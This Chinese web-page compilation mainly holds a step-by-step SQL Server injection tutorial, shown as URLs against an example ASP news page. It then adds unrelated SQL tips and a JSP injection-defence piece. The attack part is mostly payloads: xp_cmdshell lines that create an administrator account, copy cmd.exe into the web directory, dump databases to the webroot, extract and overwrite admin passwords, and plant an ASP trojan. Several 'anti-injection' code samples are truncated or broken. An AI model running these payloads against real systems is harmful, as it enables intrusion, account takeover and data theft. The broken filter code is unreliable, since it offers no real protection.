2、http://www.163.com/news.asp?id=xx and db_name()>0 news.asp执行异常但可以得到当前连接的数据库名。

3、http://www.163.com/news.asp?id=xx；exec master..xp_cmdshell “net user aaa bbb /add”-- (master是SQL-SERVER的主数据
库；名中的分号表示SQL-SERVER执行完分号前的语句名，继续执行其后面的语句；“—”号是注解，表示其后面的所有内容仅为注释，系统并不执行)可以直接增加操作系统帐户aaa,密码为bbb。

4、http://www.163.com/news.asp?id=xx；exec master..xp_cmdshell “net localgroup administrators aaa /add”-- 把刚刚增加
的帐户aaa加到administrators组中。

5、http://www.163.com/news.asp?id=xx；backuup database 数据库名 to disk='c:\inetpub\wwwroot\save.db' 则把得到的数据内容
全部备份到WEB目录下，再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。

6、通过复制CMD创建UNICODE漏洞

http://www.163.com/news.asp?id=xx;exec master.dbo.xp_cmdshell “copy c:\winnt\system32\cmd.exe

c:\inetpub\scripts\cmd.exe” 便制造了一个UNICODE漏洞，通过此漏洞的利用方法，便完成了对整个计算机的控制(当然首选要知道WEB虚拟目录)。

这样你就成功的完成了一次SQL注入攻击，先别兴奋，在实践时你就会发现这比理论要难的多会有更多的困难等着你come over ，下面GO ON如果上述条件不成立则需继续奋斗（要挂马了：））

GO ON~!

当上述条件不成立时就要继续下面的步骤

(一)、发现WEB虚拟目录

只有找到WEB虚拟目录，才能确定放置ASP木马的位置，进而得到USER权限。有两种方法比较有效。

一是根据经验猜解，一般来说，WEB虚拟目录是：c:\inetpub\wwwroot;

D:\inetpub\wwwroot; E:\inetpub\wwwroot等，而可执行虚拟目录是：
c:\inetpub\scripts; D:\inetpub\scripts; E:\inetpub\scripts等。

二是遍历系统的目录结构，分析结果并发现WEB虚拟目录；

先创建一个临时表：temp

http://www.163.com/news.asp?id=xx;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3
nvarchar(255));--

接下来：

1 我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中：

http://www.163.com/news.asp?id=xx;insert temp exec master.dbo.xp_availablemedia;--

我们可以通过查询temp的内容来获得驱动器列表及相关信息

2 我们可以利用xp_subdirs获得子目录列表,并存入temp表中：

http://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--

3 我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中：

http://www.163.com/news.asp?id=xx;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--

这样就可以成功的浏览到所有的目录（文件夹）列表：

如果我们需要查看某个文件的内容，可以通过执行xp_cmdsell：

http://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--

使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。如：bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp'
浏览temp就可以看到index.asp文件的内容了！通过分析各种ASP文件，可以得到大量系统信息，WEB建设与管理信息，甚至可以得到SA帐号的连接密码。

当然，如果xp_cmshell能够执行，我们可以用它来完成：

http://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\';--
http://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\ *.asp /s/a';--

通过xp_cmdshell我们可以看到所有想看到的，包括W3svc

http://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'cscript
C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc'

但是，如果不是SA权限，我们还可以使用

http://www.163.com/news.asp?id=xx;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--

注意：

1、以上每完成一项浏览后，应删除TEMP中的所有内容，删除方法是：

http://www.163.com/news.asp?id=xx;delete from temp;--

2、浏览TEMP表的方法是：(假设TestDB是当前连接的数据库名)
http://www.163.com/news.asp?id=xx and (select top 1 id from TestDB.dbo.temp )>0

得到表TEMP中第一条记录id字段的值，并与整数进行比较，显然news.asp工作异常，但在异常中却可以发现id字段的值。假设发现的表名是xyz，则

http://www.163.com/news.asp?id=xx and (select top 1 id from TestDB.dbo.temp )>0 where id not in('xyz'))>0

得到表TEMP中第二条记录id字段的值。

(二)、上传ASP木马

所谓ASP木马，就是一段有特殊功能的ASP代码，并放入WEB虚拟目录的Scripts下，远程客户通过IE就可执行它，进而得到系统的USER权限，实现对系统的初步控制。上传ASP木马一般有两种比较有效的方法：

1、利用WEB的远程管理功能

许多WEB站点，为了维护的方便，都提供了远程管理的功能；也有不少WEB站点，其内容是对于不同的用户有不同的访问权限。为了达到对用户权限的控制，都有一个网页，要求用户名与密码，只有输入了正确的值，才能进行下一步的操作,可以实现对WEB的管理，如上传、下载文件，目录浏览、修改配置等。

因此，若获取正确的用户名与密码，不仅可以上传ASP木马，有时甚至能够直接得到USER权限而浏览系统，上一步的“发现WEB虚拟目录”的复杂操作都可省略。

用户名及密码一般存放在一张表中，发现这张表并读取其中内容便解决了问题。以下给出两种有效方法。

A、注入法：

从理论上说，认证网页中会有型如：

select * from admin where username='XXX' and password='YYY' 的语句，若在正式运行此句之前，没有进行必要的字符过滤，则很容易实施SQL注入。

如在用户名文本框内输入：abc’ or 1=1-- 在密码框内输入：123 则SQL语句变成：

select * from admin where username='abc’ or 1=1 and password='123’

不管用户输入任何用户名与密码，此语句永远都能正确执行，用户轻易骗过系统，获取合法身份。

B、猜解法：

基本思路是：猜解所有数据库名称，猜出库中的每张表名，分析可能是存放用户名与密码的表名，猜出表中的每个字段名，猜出表中的每条记录内容。

a 猜解所有数据库名称

http://www.163.com/news.asp?id=xx and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0

因为dbid的值从1到5，是系统用了。所以用户自己建的一定是从6开始的。并且我们提交了 name>1 (name字段是一个字符型的字段和数字比较会出错),news.asp工作异常，可得到第一个数据库名，同理把DBID分别改成7,8，9,10,11,12…就可得到所有数据库名。

以下假设得到的数据库名是TestDB。

b 猜解数据库中用户名表的名称

猜解法：此方法就是根据个人的经验猜表名，一般来说，

user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,
systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。并通过语句进行判断

http://www.163.com/news.asp?id=xx and (select count(*) from TestDB.dbo.表名)>0 若表名存在，则news.asp工作正常，否则异常。如此循环，直到猜到系统帐号表的名称。

读取法：SQL-SERVER有一个存放系统核心信息的表sysobjects，有关一个库的所有表，视图等信息全部存放在此表中，而且此表可以通过WEB进行访问。

当xtype='U' and status>0代表是用户建立的表，发现并分析每一个用户建立的表及名称，便可以得到用户名表的名称，基本的实现方法是：

①http://www.163.com/news.asp?id=xx and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 )>0
得到第一个用户建立表的名称，并与整数进行比较，显然news.asp工作异常，但在异常中却可以发现表的名称。假设发现的表名是xyz，则

②http://www.163.com/news.asp?id=xx and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and
name not in('xyz'))>0 可以得到第二个用户建立的表的名称，同理就可得到所有用建立的表的名称。

根据表的名称，一般可以认定那张表用户存放用户名及密码，以下假设此表名为Admin。

c 猜解用户名字段及密码字段名称

admin表中一定有一个用户名字段，也一定有一个密码字段，只有得到此两个字段的名称，才有可能得到此两字段的内容。如何得到它们的名称呢，同样有以下两种方法。

猜解法：此方法就是根据个人的经验猜字段名，一般来说，用户名字段的名称常用：username,name,user,account等。而密码字段的名称常用：password,pass,pwd,passwd等。并通过语句进行判断

http://www.163.com/news.asp?id=xx and (select count(字段名) from TestDB.dbo.admin)>0 “select count(字段名) from 表名”

语句得到表的行数，所以若字段名存在，则news.asp工作正常，否则异常。如此循环，直到猜到两个字段的名称。

读取法：基本的实现方法是

http://www.163.com/news.asp?id=xx and (select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects)>0 。
select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects是从sysobjects得到已知表名的第一个字段名，当与整数进行比较，显然news.asp工作异常，但在异常中却可以发现字段的名称。把col_name(object_id('admin'),1)中的1依次换成2,3,4,5，6…就可得到所有的字段名称。

d 猜解用户名与密码

猜用户名与密码的内容最常用也是最有效的方法有：

ASCII码逐字解码法:虽然这种方法速度较慢，但肯定是可行的。基本的思路是先猜出字段的长度，然后依次猜出每一位的值。猜用户名与猜密码的方法相同，以下以猜用户名为例说明其过程。

http://www.163.com/news.asp?id=xx and (select top 1 len(username) from TestDB.dbo.admin)=X(X=1,2，3,4，5，… n，username

为用户名字段的名称，admin为表的名称)，若x为某一值i且news.asp运行正常时，则i就是第一个用户名的长度。如：当输入
http://www.163.com/news.asp?id=xx and (select top 1 len(username) from TestDB.dbo.admin)=8时news.asp运行正常，则第一个用户名的长度为8

http://www.163.com/news.asp?id=xx and (select top 1 ascii(substring(username,m,1)) from TestDB.dbo.admin)=n (m的值在1到上一步得到的用户名长度之间，当m=1，2,3，…时猜测分别猜测第1,2,3,…位的值；n的值是1~9、a~z、A~Z的ASCII值，也就是1~128之间的任意值；admin为系统用户帐号表的名称)，若n为某一值i且news.asp运行正常时，则i对应ASCII码就是用户名某一位值。如：当输入
http://www.163.com/news.asp?id=xx and (select top 1 ascii(substring(username,3,1)) from TestDB.dbo.admin)=80时news.asp运行正常，则用户名的第三位为P(P的ASCII为80)；http://www.163.com/news.asp?id=xx and (select top 1 ascii(substring(username,9,1)) from TestDB.dbo.admin)=33时news.asp运行正常，则用户名的第9位为!(!的ASCII为80)；猜到第一个用户名及密码后，同理，可以猜出其他所有用户名与密码。注意：有时得到的密码可能是经MD5等方式加密后的信息，还需要用专用工具进行脱密。或者先改其密码，使用完后再改回来，见下面说明。简单法：猜用户名用http://www.163.com/news.asp?id=xx and (select top 1 flag from TestDB.dbo.admin where username>1) , flag是admin表中的一个字段，username是用户名字段，此时news.asp工作异常，但能得到Username的值。与上同样的方法，可以得到第二用户名，第三个用户等等，直到表中的所有用户名。

猜用户密码：http://www.163.com/news.asp?id=xx and (select top 1 flag from TestDB.dbo.admin where pwd>1) , flag是admin表中的一个字段，pwd是密码字段，此时news.asp工作异常，但能得到pwd的值。与上同样的方法，可以得到第二用户名的密码，第三个用户的密码等等，直到表中的所有用户的密码。密码有时是经MD5加密的，可以改密码。

http://www.163.com/news.asp?id=xx;update TestDB.dbo.admin set pwd=' a0b923820dcc509a' where username='www';-- ( 1的MD5值为：AAABBBCCCDDDEEEF，即把密码改成1；www为已知的用户名)用同样的方法当然可把密码改原来的值。

2、利用表内容导成文件功能

SQL有BCP命令，它可以把表的内容导成文本文件并放到指定位置。利用这项功能，我们可以先建一张临时表，然后在表中一行一行地输入一个ASP木马，然后用BCP命令导出形成ASP文件。

命令行格式如下：

bcp "select * from text..foo" queryout c:\inetpub\wwwroot\163.asp –c –S localhost –U sa –P foobar
('S'参数为执行查询的服务器，'U'参数为用户名，'P'参数为密码，最终上传了一个163.asp的木马)

3、利用工具，如NBSI给出的一些参考数据最重要的表名：

select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses

最重要的一些用户名（默认sql数据库中存在着的）

public
dbo
guest(一般禁止，或者没权限)
db_sercurityadmin
ab_dlladmin
一些默认扩展
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia 驱动器相关
xp_dirtree 目录
xp_enumdsn ODBC连接
xp_loginconfig 服务器安全模式信息
xp_makecab 创建压缩卷
xp_ntsec_enumdomains domain信息
xp_terminate_process 终端进程，给出一个PID

(三)、得到系统的管理员权限

ASP木马只有USER权限，要想获取对系统的完全控制，还要有系统的管理员权限。怎么办？提升权限的方法有很多种：

上传木马，修改开机自动运行的.ini文件(它一重启，便死定了)；

复制CMD.exe到scripts，人为制造UNICODE漏洞；

下载SAM文件，破解并获取OS的所有用户名密码；

等等，视系统的具体情况而定，可以采取不同的方法。

那么我们怎么防注入呢？程序如下加入到asp或html或php或cgi里面都可以。经过测试。加入如 top.asp文件中开头

方法一：

<%if session("username"="" or session("userkey"="" then
response.redirect "../../"
end if%>

(说明：只要有用户注入则跳转到../../目录，呵呵，看你怎么给我注入)

方法二：

<%
server_v1=Cstr(Request.ServerVariables("HTTP_REFERER")
server_v2=Cstr(Request.ServerVariables("SERVER_NAME")
if mid(server_v1,8,len(server_v2))<>server_v2 then
response.write "<br><br><center><table border=1 cellpadding=20 bordercolor=black bgcolor=#EEEEEE width=450>"
response.write "<tr><td style=“font:9pt Verdana">"
response.write "你提交的路径有误，禁止从站点外部提交数据请不要乱该参数！"
response.write "</td></tr></table></center>"
response.end
end if
%>

(说明：只要有用户注入则判断为外部连接哦，呵呵，看你怎么给我注入)

方法三：

<% dim From_url,Serv_url
From_url = Cstr(Request.ServerVariables("HTTP_REFERER")
Serv_url = Cstr(Request.ServerVariables("SERVER_NAME")
if mid(From_url,8,len(Serv_url)) <> Serv_url then
response.write "NO"
response.redirect("../"
response.end
end if%>

关于sql注入

由于您提交的内容中含有危险的SQL注入代码，致使本次操作无效！

你的网页代码里有一个SQL防注入程序

如

'--------数据库连接部分--------------

dim dbkillSql,killSqlconn,connkillSql

dbkillSql="SqlIn.asa"

'On Error Resume Next

Set killSqlconn = Server.CreateObject("ADODB.Connection")

connkillSql="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(dbkillSql)

killSqlconn.Open connkillSql

If Err Then

err.Clear

Set killSqlconn = Nothing

Response.Write "数据库连接出错，请检查连接字串。"

Response.End

End If

'--------定义部份------------------

Dim Fy_Post,Fy_Get,Fy_In,Fy_In2,Fy_Inf,Fy_Inf2,Fy_Xh,Fy_db,Fy_dbstr,Kill_IP,WriteSql

'自定义需要过滤的字串,用 "|" 分隔

'POST方式提交表单一般采用的方式

'GET方式提交地址栏里提交参数一般采用的方式

Kill_IP=True

WriteSql=True

'----------------------------------

Fy_Inf = split(Fy_In,"|")

'--------POST部份------------------

If Request.Form<>"" Then

For Each Fy_Post In Request.Form

For Fy_Xh=0 To Ubound(Fy_Inf)

If Instr(LCase(Request.Form(Fy_Post)),Fy_Inf(Fy_Xh))<>0 Then

If WriteSql=True Then

killSqlconn.Execute("insert into SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','POST','"&Fy_Post&"','"&replace(Request.Form(Fy_Post),"'","''")&"')")

killSqlconn.close

Set killSqlconn = Nothing

End If

Response.Write "<Script Language=JavaScript>alert('系统禁止你提交数据，如有疑问请您联系管理员！Joyber QQ:33221019');</Script>"

Response.End

End If

'----------------------------------

Fy_Inf2 = split(Fy_In2,"|")

'--------GET部份-------------------

If Request.QueryString<>"" Then

For Each Fy_Get In Request.QueryString

For Fy_Xh=0 To Ubound(Fy_Inf2)

If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf2(Fy_Xh))<>0 Then

If WriteSql=True Then

killSqlconn.Execute("insert into SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','GET','"&Fy_Get&"','"&replace(Request.QueryString(Fy_Get),"'","''")&"')")

killSqlconn.close

Set killSqlconn = Nothing

End If

Response.Write "<Script Language=JavaScript>alert('系统禁止你提交数据，如有疑问请您联系管理员！Joyber QQ:33221019');</Script>"

Response.End

End If

If Kill_IP=True Then

Dim Sqlin_IP,rsKill_IP,Kill_IPsql

Sqlin_IP=Request.ServerVariables("REMOTE_ADDR")

Kill_IPsql="select Sqlin_IP from SqlIn where Sqlin_IP='"&Sqlin_IP&"'"

Set rsKill_IP=killSqlconn.execute(Kill_IPsql)

If Not(rsKill_IP.eof or rsKill_IP.bof) Then

if rsKill_IP("Kill_ip")=true then

Response.write "<Script Language=JavaScript>alert('朋友：\n由于您的IP被记录有不良操作，系统拒绝您此次登陆！\n如有疑问请联系管理员！Joyber QQ:33221019');</Script>"

Response.End

end if

End If

rsKill_IP.close

End If

哈哈

通常是在CONN。ASP 中加入

《！--INCLODE FILE=。。--》

这个``

怎样用SQL语句查询以20%来分段查询数据，如查询该表中数据数量20%到40%的数据怎查来。

我赞成的是：select * from (select top (select convert(int,count(selfid)*0.4) from s_menu) * from s_menu ) a where selfid not in(select top (select convert(int,count(selfid)*0.2) from s_menu) selfid from s_menu)

不赞成：
select * from t_qkxx where lsh in (select top 40 percent lsh from t_qkxx where lsh not in (select top 20 percent lsh from t_qkxx))

原因：不赞成中的一条语句写错了。top20指的是前20位。如果列数只有19的话就要出发溢出的异常

怎样用SQL语句查询以20%来分段查询数据，如查询该表中数据数量20%到40%的数据怎查来。

sql数据库delete删除后怎么恢复？

一、如果是刚刚删除，那么有两方法：

首先用show parameter undo;命令查看当时的数据库参数undo_retention设置。

显示如下：

undo_management string AUTO

undo_retention integer 10800

undo_suppress_errors boolean FALSE

undo_tablespace string UNDOTBS1

undo_retention(保持力)，10800单位是秒。即3个小时。

修改默认的undo_retention参数设置：

ALTER SYSTEM SET undo_retention=10800 SCOPE=BOTH;

方法1，通过oracle提供的回闪功能：

exec dbms_flashback.enable_at_time(to_date('2007-07-23 10:21:00','yyyy-mm-dd hh24:mi:ss'));

set serveroutput on

DECLARE r_temp hr.job_history%ROWTYPE;

CURSOR c_temp IS SELECT * FROM hr.job_history;

BEGIN

OPEN c_temp;

dbms_flashback.disable;

LOOP

FETCH c_temp INTO r_temp;

EXIT WHEN c_temp%NOTFOUND;

insert into hr.job_history(EMPLOYEE_ID,JOB_ID,START_DATE,END_DATE) values (r_temp.EMPLOYEE_ID,r_temp.JOB_ID,r_temp.START_DATE,r_temp.END_DATE);

commit;

END LOOP;

CLOSE c_temp;

END;

方法2，insert into hr.job_history

select * from hr.job_history as of timestamp to_timestamp('2007-07-23 10:20:00', 'yyyy-mm-dd hh24:mi:ss');

这种方法简单，容易掌握，功能和上面的一样时间为你误操作之前的时间，最好是离误操作比较近的，因为oracle保存在回滚保持段里的数据时间有一定的时间由undo_retention 这个参数值决定。

二、如果是删除一段时间了，但你有比较新的数据库备份，就通过备份来恢复。新建一个库，把备份还原上去，导出表数据，再导入到现在用的库中去。

三、如果删除一段时间了，并且无备份，但是数据在写入表的时候同时会写入其它一些关联表的话，那么就尝试通过写SQL语句从其它表取数据出来insert到被删除的表中。

JSP如何防范SQL注入攻击

上周给别人做了个网站，无意间发现自己的作品有很多漏洞，在短短的20秒就被自己用sql注入法给干了。所以查了一点关于sql注入的资料，并且有点感悟，希望能与新手们分享一下。高手们见笑了！

SQL注入攻击的总体思路：

发现SQL注入位置；

判断服务器类型和后台数据库类型；

确定可执行情况

对于有些攻击者而言，一般会采取sql注入法。下面我也谈一下自己关于sql注入法的感悟。

注入法：

从理论上说，认证网页中会有型如：

select * from admin where username='XXX' and password='YYY' 的语句，若在正式运行此句之前，如果没有进行必要的字符过滤，则很容易实施SQL注入。

如在用户名文本框内输入：abc’ or 1=1-- 在密码框内输入：123 则SQL语句变成：

select * from admin where username='abc’ or 1=1 and password='123’ 不管用户输入任何用户名与密码，此语句永远都能正确执行，用户轻易骗过系统，获取合法身份。

猜解法：

基本思路是：猜解所有数据库名称，猜出库中的每张表名，分析可能是存放用户名与密码的表名，猜出表中的每个字段名，猜出表中的每条记录内容。

还有一种方式可以获得你的数据库名和每张表的名。

就是通过在形如

对于jsp而言我们一般采取一下策略来应对：

1、PreparedStatement

如果你已经是稍有水平开发者,你就应该始终以PreparedStatement代替Statement.

以下是几点原因

1、代码的可读性和可维护性.

2、PreparedStatement尽最大可能提高性能.

3、最重要的一点是极大地提高了安全性.

到目前为止，有一些人（包括本人）连基本的恶义SQL语法都不知道.

String sql = "select * from tb_name where name= '"+varname+"' and passwd='"+varpasswd+"'";

如果我们把[' or '1' = '1]作为name传入进来.密码随意,看看会成为什么? 网管网

select * from tb_name = 'or '1' = '1' and passwd = '随意' ;

因为'1'='1'肯定成立,所以可以任何通过验证.更有甚者:

把['; drop table tb_name; ]作为varpasswd传入进来,则:

select * from tb_name = '随意' and passwd = ''; drop table tb_name; 有些数据库是不会让你成功的,但也有很多数据库就可以使这些语句得到执行.

而如果你使用预编译语句.你传入的任何内容就不会和原来的语句发生任何匹配的关系.(前提是数据库本身支持预编译,但上前可能没有什么服务端数据库不支持编译了,只有少数的桌面数据库,就是直接文件访问的那些只要全使用预编译语句,你就用不着对传入的数据做任何过虑.而如果使用普通的 statement,有可能要对drop,; 等做费尽心机的判断和过虑.

2、正则表达式

2.1、检测SQL meta-characters的正则表达式 /(%27)|(')|(--)|(%23)|(#)/ix

2.2、修正检测SQL meta-characters的正则表达式 /((%3D)|(=))[^n]*((%27)|(')|(--)

|(%3B)|(:))/i

2.3、典型的 SQL 注入攻击的正则表达式 /w*((%27)|('))((%6F)|o|(%4F))((%72)|r|( 中国网管联盟

%52))/ix

2.4、检测SQL注入，UNION查询关键字的正则表达式 /((%27)|('))union/ix(%27)|(') - 单

引号和它的hex等值

union - union关键字。

2.5、检测MS SQL Server SQL注入攻击的正则表达式 /exec(s|+)+(s|x)pw+/ix

3、字符串过滤

public static String filterContent(String content){

|chr|mid|master|truncate|char|declare|; |or|-|+|,";

Stringfilter[] = flt.split("|");

for(int i=0; i {

content.replace(filter[i], "");

}

return content;

}

4、不安全字符屏蔽

本部分采用js来屏蔽，起的作用很小，这样用屏蔽关键字的方法虽然有一定作用，但是在实际应用中这些 SQL的关键字也可能成为真正的查询关键字，到那是被你屏蔽了那用户不是不能正常的使用了。只要在代码规范上下点功夫就可以了。

凡涉及到执行的SQL中有变量时，用JDBC（或者其他数据持久层）提供的如：PreparedStatement就可以，切记不要用拼接字符串的方法就可以了.

功能介绍：检查是否含有"'","","/"

参数说明：要检查的字符串

返回值：0：是 1：不是

函数名是

function check(a)

{

return 1;

fibdn = new Array ("'" ,"","/");

i=fibdn.length;

j=a.length;

for (ii=0; ii { for (jj=0; jj

{ temp1=a.charAt(jj);

temp2=fibdn[ii];

if (tem'; p1==temp2)

{ return 0; }

}

return 1;

}

显示全文

全部频道

SQL-Delete Duplicate Emails

总结

总结